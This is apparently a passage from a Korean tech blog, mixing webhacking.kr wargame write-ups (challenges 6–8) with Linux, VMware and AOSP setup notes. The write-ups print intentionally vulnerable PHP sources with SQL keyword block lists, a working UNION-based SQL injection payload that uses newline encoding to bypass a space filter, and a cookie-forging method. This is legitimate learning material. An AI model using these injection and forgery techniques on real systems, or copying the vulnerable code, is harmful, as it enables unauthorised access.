설치 제거법은 매우 간단하다.

  • Install (설치)



  • Uninstall (제거)

root 권한 획득 후 아래의 명령을 터미널에서 입력

vmware-uninstall-tools.pl


Posted by 튼튼한노예
,

webhackingkr 8번

Webhackingkr 2015. 3. 5. 20:37

8번 문제에 들어가니 다짜고짜 거절당해버린다.


이제는 익숙하지만 아무것도 안했는데 거절이라니...

당황스럽지만 클릭할 것도 없고 소스부터 확인해 본다.


<html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT
Access Denied!


소스도 특이점이 없다.
진입점이 보이지 않아, 컴퓨터에서 놀고있던 fiddler를 이용해 대체 뭔놈인지 확인해본다.



생각없이 보다가 index.php 지점에서 이 페이지가 php로 구성된다는 것을 착안, 다짜고짜 URL에 index.php를 쳐본다. 빙고, 동일하게 작동하는것을 보니 특별한 조작 없는 php페이지라는 것을 확인할 수 있었다.
소스를 봐야하니 가장 쉬운 방법인 index.phps로 접근해 본다.(phps는 php의 소스보기 확장자. 옵션을 설정하지 않았을 시 쉽게 소스를 볼 수 있다.)


<html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT

<?

$agent
=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);

$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(
preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if(
$count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if(
$ck)

echo(
"hi <b>$ck[0]</b><p>");
if(
$ck[0]=="admin")

{
@
solve();
@
mysql_query("delete from lv0");
}


}

if(!
$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo(
"<br><br>done!  ($count_ck[0]/70)");
}


?>

<!--

index.phps

-->

</body>
</html>












'Webhackingkr' 카테고리의 다른 글

webhackingkr 7번  (0) 2015.03.05
webhackingkr 6번  (0) 2015.03.04
Posted by 튼튼한노예
,

webhackingkr 7번

Webhackingkr 2015. 3. 5. 17:14

처음 문제에 들어가면 아래와 같은 오브젝트가 보인다.


일단 눌러보니 아래와 같은 얼럿창이 발생한다.


이전 문제들에서도 그랬듯(1번부터 차례대로 풀어왔다면) 무조건 얼럿창이 뜨는 구조인 것 같아 소스를 확인해본다.

<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p><input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p><!-- admin mode : val=2 -->
<!--
index.phps
-->
</body>
</html>



예상대로 버튼은 얼럿창을 띄우는 용도만 있고, 행동은 php에 ?로 인자를 전달해야 할 것 같다.

단서는 없지만 웹해킹kr은 친절하게 힌트를 주기 때문에 저기 대놓고 있는 .phps파일에 소스가 있을 것이라 추측하고 열어본다.

아래는 index.phps 파일의 소스이다.

<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer 
"????";

$go=$_GET[val];

if(!
$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo(
"<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(
eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(
eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if(
$rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if(
$rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if(
$rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if(
$rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if(
$rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!
$data[0]) { echo("query error"); exit(); }
if(
$data[0]!=&& $data[0]!=2) { exit(); }


if(
$data[0]==1)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>"
);
echo(
"<!-- admin mode : val=2 -->");
}

if(
$data[0]==2)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>"
);
@
solve();





?>

<!--

index.phps

-->



</body>

</html>

대충 읽어보니 *,/,스페이스 3가지가 막혀있는 구조이고, union을 이용하라고 써있다.

또한 @solve() 함수가 실행되기 위해서는 '2'값을 전달해 주어야 할 것 같다.

union의 특성을 이용해서 쿼리에서 처리하지 않는 값 하나와 '2'값을 넣어주자.

간단하게 아래와 같이 구현해 보았다.

val=3)%0aunion%0aselect%0a(5-3

* %0a는 스페이스가 입력되지 않기에, 우회용으로 삽입함

* 입력은 http://webhacking.kr/challenge/web/web-07/index.php?val=3)%0aunion%0aselect%0a(5-3 로 해보자.


가운데에 러시안룰렛(;;)이 있기에 몇번 입력해야 한다. 성공메시지를 확인하고 클리어.




'Webhackingkr' 카테고리의 다른 글

webhackingkr 8번  (0) 2015.03.05
webhackingkr 6번  (0) 2015.03.04
Posted by 튼튼한노예
,

sudo add-apt-repository ppa:webupd8team/java

sudo apt-get update

sudo apt-get install oracle-java6-installer 


사이트 들어가고 할 필요 없이 세개만 입력해보자.


설치 완료후 버전확인법은 다음과 같다.


java -version

javac -version


'Linux' 카테고리의 다른 글

우분투 UI 통으로 날아갔을 때 대처법.  (0) 2015.03.06
VMware tools install / uninstall  (0) 2015.03.05
리눅스에서 prel(.pl)스크립트 실행하기  (0) 2015.03.04
VMware 클립보드 공유  (0) 2015.03.04
apt 명령어  (0) 2015.03.03
Posted by 튼튼한노예
,

개발폰별 파일들

AOSP 2015. 3. 5. 11:10

개발폰이 추가될 때마다 덧붙일듯...


-IM-A880s (VEGA LTE-A) (KVT49L)

Pantech Kernal File

http://opensource.pantech.com/model/list.asp?Category=Mobile

'AOSP' 카테고리의 다른 글

adb push 입력시 permission denied 문제  (0) 2015.04.09
fastboot 에 디바이스가 물리지 않을 때  (0) 2015.03.09
AOSP 기본세팅  (0) 2015.03.04
AOSP kitkat(4.4) 빌드방법  (0) 2015.03.03
libz.so.1: cannot open shared object file  (0) 2015.03.03
Posted by 튼튼한노예
,

webhackingkr 6번

Webhackingkr 2015. 3. 4. 17:43


처음 들어가면 위와 같은 모양의 창이 뜬다.

(ID, PW는 아마 guest, 123qwe로 설정되어 있을 것)


다른 숨겨놓은건 없나 일단 소스부터 보고, 특별한 게 없으니 대놓고 보여주는 힌트들을 보기로 한다.


index.phps 파일을 보니 대놓고 구조가 나와있다.

<?php 

if(!$_COOKIE[user]) 

    
$val_id="guest"
    
$val_pw="123qwe"

    for(
$i=0;$i<20;$i++) 
    { 
        
$val_id=base64_encode($val_id); 
        
$val_pw=base64_encode($val_pw); 

    } 

    
$val_id=str_replace("1","!",$val_id); 
    
$val_id=str_replace("2","@",$val_id); 
    
$val_id=str_replace("3","$",$val_id); 
    
$val_id=str_replace("4","^",$val_id); 
    
$val_id=str_replace("5","&",$val_id); 
    
$val_id=str_replace("6","*",$val_id); 
    
$val_id=str_replace("7","(",$val_id); 
    
$val_id=str_replace("8",")",$val_id); 

    
$val_pw=str_replace("1","!",$val_pw); 
    
$val_pw=str_replace("2","@",$val_pw); 
    
$val_pw=str_replace("3","$",$val_pw); 
    
$val_pw=str_replace("4","^",$val_pw); 
    
$val_pw=str_replace("5","&",$val_pw); 
    
$val_pw=str_replace("6","*",$val_pw); 
    
$val_pw=str_replace("7","(",$val_pw); 
    
$val_pw=str_replace("8",")",$val_pw); 

    
Setcookie("user",$val_id); 
    
Setcookie("password",$val_pw); 

    echo(
"<meta http-equiv=refresh content=0>"); 

?> 

<html> 
<head> 
<title>Challenge 6</title> 
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; } 
</style> 
</head> 
<body> 

<? 

$decode_id
=$_COOKIE[user]; 
$decode_pw=$_COOKIE[password]; 

$decode_id=str_replace("!","1",$decode_id); 
$decode_id=str_replace("@","2",$decode_id); 
$decode_id=str_replace("$","3",$decode_id); 
$decode_id=str_replace("^","4",$decode_id); 
$decode_id=str_replace("&","5",$decode_id); 
$decode_id=str_replace("*","6",$decode_id); 
$decode_id=str_replace("(","7",$decode_id); 
$decode_id=str_replace(")","8",$decode_id); 

$decode_pw=str_replace("!","1",$decode_pw); 
$decode_pw=str_replace("@","2",$decode_pw); 
$decode_pw=str_replace("$","3",$decode_pw); 
$decode_pw=str_replace("^","4",$decode_pw); 
$decode_pw=str_replace("&","5",$decode_pw); 
$decode_pw=str_replace("*","6",$decode_pw); 
$decode_pw=str_replace("(","7",$decode_pw); 
$decode_pw=str_replace(")","8",$decode_pw); 


for(
$i=0;$i<20;$i++) 

    
$decode_id=base64_decode($decode_id); 
    
$decode_pw=base64_decode($decode_pw); 


echo(
"<font style=background:silver;color:black>&nbsp;&nbsp;HINT : base64&nbsp;&nbsp;</font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>"); 
echo(
"ID : $decode_id<br>PW : $decode_pw<hr>"); 

if(
$decode_id=="admin" && $decode_pw=="admin"

    @
solve(6,100); 



?> 

</body> 
</html> 


첫 세팅은 val_id=guest, val_pw=123qwe로 설정되어 있고,

아래의 solve 함수가 실행되는 곳을 보니, val_id=admin, val_pw=admin일 때 문제가 풀리는 것 같다.

if($decode_id=="admin" && $decode_pw=="admin"

    @
solve(6,100); 



또, 바로 위쪽의 for문을 참고해 보면, base64로 20번(ㄷㄷ) 디코딩을 해주는 것을 확일할 수 있다.

for($i=0;$i<20;$i++) 


    
$decode_id=base64_decode($decode_id); 
    
$decode_pw=base64_decode($decode_pw); 


위의 두가지 정보들로, val_id=admin, val_pw=admin 으로 만들기 위해서는 20번 base64 encode 되어있는 admin 값을 val_id, val_pw 쿠키에 넣어주면 된다는 것을 알 수 있다.


간단한 스크립트나, 변환해주는 웹페이지를 통해 인코딩을 해주고 인코딩 결과값으로 쿠키를 바꿔주자.

'Webhackingkr' 카테고리의 다른 글

webhackingkr 8번  (0) 2015.03.05
webhackingkr 7번  (0) 2015.03.05
Posted by 튼튼한노예
,

AOSP 기본세팅

AOSP 2015. 3. 4. 15:24

At least 50GB of free disk space for a checkout, 100GB for a single build, and 150GB or more for multiple builds. If you employ ccache, you will need even more space.

-> 맘편히 150기가로 하자


Python 2.6 -- 2.7, which you can download from python.org.

-> 리눅스는 기본내장.(14.04)


GNU Make 3.81 -- 3.82, which you can download from gnu.org,

->리눅스는 기본내장.(14.04)


JDK 7 to build the master branch of Android in the Android Open Source Project (AOSP); JDK 6 to build Gingerbread through KitKat; JDK 5 for Cupcake through Froyo. See Initializing a Build Environment for installation instructions by operating system.

-> openjdk로 하지 않으면 추후에 다시 깔아야 함... 빌드가 안됌


Git 1.7 or newer. You can find it at git-scm.com.

-> 리눅스는 기본내장.(14.04)


repo tool

-> sudo apt-get install phablet-tools 명령어로 설치하자


Setting E-Mail

-> git config --global user.email "you@example.com"

git config --global user.name "your name"


Install SDK

-> http://developer.android.com/sdk/index.html 에서 최신버전의 sdk 다운로드.

압축 해제하고 android-sdk-linux/tools 폴더로 가서 ./android 명령어로 sdk 매니저를 실행시켜주자.

'AOSP' 카테고리의 다른 글

fastboot 에 디바이스가 물리지 않을 때  (0) 2015.03.09
개발폰별 파일들  (0) 2015.03.05
AOSP kitkat(4.4) 빌드방법  (0) 2015.03.03
libz.so.1: cannot open shared object file  (0) 2015.03.03
libz.so.1 error1  (0) 2015.03.03
Posted by 튼튼한노예
,

vim에디터로 새로 만든 스크립트라면, 그 파일을 "실행 가능 모드"로 변경해 주어야 합니다. 그렇지 않으면 실행이 되지 않습니다.

chmod +x tt.pl
이런 명령을 사용하면 tt.pl 파일이 실행 가능하게 됩니다.

이후
./tt.pl
입력시 실행이 가능해집니다.

이렇게 파일명 앞에 마침표와 슬래시를 붙여야 합니다. 참고로 "./" 는 "현재 디렉토리"를 의미합니다. 윈도우의 도스창에서와는 달리, 유닉스/리눅스는 보안상의 이유로 인해, 현재 디렉토리의 파일이라도 패스를 꼭 적어 주어야 실행이 됩니다. 그렇지 않으면 파일을 찾을 수 없다는 에러가 납니다.

'Linux' 카테고리의 다른 글

우분투 UI 통으로 날아갔을 때 대처법.  (0) 2015.03.06
VMware tools install / uninstall  (0) 2015.03.05
ubuntu 14.04 jdk6 설치하기  (0) 2015.03.05
VMware 클립보드 공유  (0) 2015.03.04
apt 명령어  (0) 2015.03.03
Posted by 튼튼한노예
,

VMware 클립보드 공유

Linux 2015. 3. 4. 11:16

Installing VMware Tools from the Command Line with the Tar Installer

The first steps are performed on the host, within Workstation menus:

1. Power on the virtual machine.

2. After the guest operating system has started, prepare your virtual machine to install VMware Tools.

Choose VM > Install VMware Tools.

The remaining steps take place inside the virtual machine.

3. As root (su -), mount the VMware Tools virtual CD-ROM image, change to a working directory (for example, /tmp), uncompress the installer, then unmount the CD-ROM image.

Note: Some Linux distributions automatically mount CD-ROMs. If your distribution uses automounting, do not use the mount and umount commands below. You still must untar the VMware Tools installer to /tmp.

Some Linux distributions use different device names or organize the /dev directory differently. If your CD-ROM drive is not /dev/cdrom or if the mount point for a CD-ROM is not /mnt/cdrom, you must modify the following commands to reflect the conventions used by your distribution.

mount /dev/cdrom /mnt/cdrom

cd /tmp

Note: If you have a previous installation, delete the previous vmware-distrib directory before installing. The default location of this directory is 
/tmp/vmware-tools-distrib.

4. Untar the VMware Tools tar file:

tar zxpf /mnt/cdrom/VMwareTools-5.0.0-<xxxx>.tar.gz

umount /dev/cdrom

Where <xxxx> is the build/revision number of the VMware Workstation release.

Note: If you attempt to install a tar installation over an rpm installation — or the reverse — the installer detects the previous installation and must convert the installer database format before continuing.

5. Run the VMware Tools tar installer:

cd vmware-tools-distrib

./vmware-install.pl

Respond to the configuration questions on the screen. Press Enter to accept the default value.

6. Log off of the root account.

exit

7. Start X and your graphical environment.

8. In an X terminal, launch the VMware Tools background application.

vmware-toolbox &

Note: You may run VMware Tools as root or as a normal user. To shrink virtual disks, you must run VMware Tools as root (su -).

'Linux' 카테고리의 다른 글

우분투 UI 통으로 날아갔을 때 대처법.  (0) 2015.03.06
VMware tools install / uninstall  (0) 2015.03.05
ubuntu 14.04 jdk6 설치하기  (0) 2015.03.05
리눅스에서 prel(.pl)스크립트 실행하기  (0) 2015.03.04
apt 명령어  (0) 2015.03.03
Posted by 튼튼한노예
,

http://nosemaj.org/howto-build-android-kitkat-nexus-5

참고.

'AOSP' 카테고리의 다른 글

개발폰별 파일들  (0) 2015.03.05
AOSP 기본세팅  (0) 2015.03.04
libz.so.1: cannot open shared object file  (0) 2015.03.03
libz.so.1 error1  (0) 2015.03.03
AOSP build errors  (0) 2015.03.03
Posted by 튼튼한노예
,